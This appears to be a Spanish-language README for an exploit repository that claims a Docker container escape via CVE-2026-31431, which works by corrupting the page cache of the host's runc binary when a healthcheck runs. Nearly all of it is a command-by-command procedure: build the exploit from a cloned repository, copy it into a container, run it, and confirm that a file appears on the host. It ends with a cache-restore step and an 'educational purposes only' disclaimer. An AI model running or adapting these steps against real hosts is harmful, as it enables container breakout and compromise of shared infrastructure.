
# Escape de contenedor en cualquier contenedor docker con healthcheck habilitado mediante CVE-2026-31431
https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e
En este repositorio, se proporciona docker-compose.yml para configurar un contenedor vulnerable. También puedes usar cualquier otro contenedor vulnerable o configurar el tuyo propio, pero recuerda cambiar el código del exploit en consecuencia.
# En la máquina host
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh
# Dentro del contenedor copyfail
cd /tmp
chmod +x exp.sh exploit
./exp.sh
# Espera unos minutos a que se ejecute el healthcheck
# y comprueba si /tmp/pwned se crea en el host
# En la máquina host
ls /tmp/pwned
Una vez que el exploit tiene éxito, la pagecache del binario runc en la máquina host se corrompe. Puedes restaurarla ejecutando echo 3 | sudo tee /proc/sys/vm/drop_caches en el host.
Este repositorio es solo con fines educativos. No debe utilizarse para ninguna actividad maliciosa. El autor no es responsable de ningún daño causado por el mal uso de este código. Úsalo siempre en un entorno controlado y legal.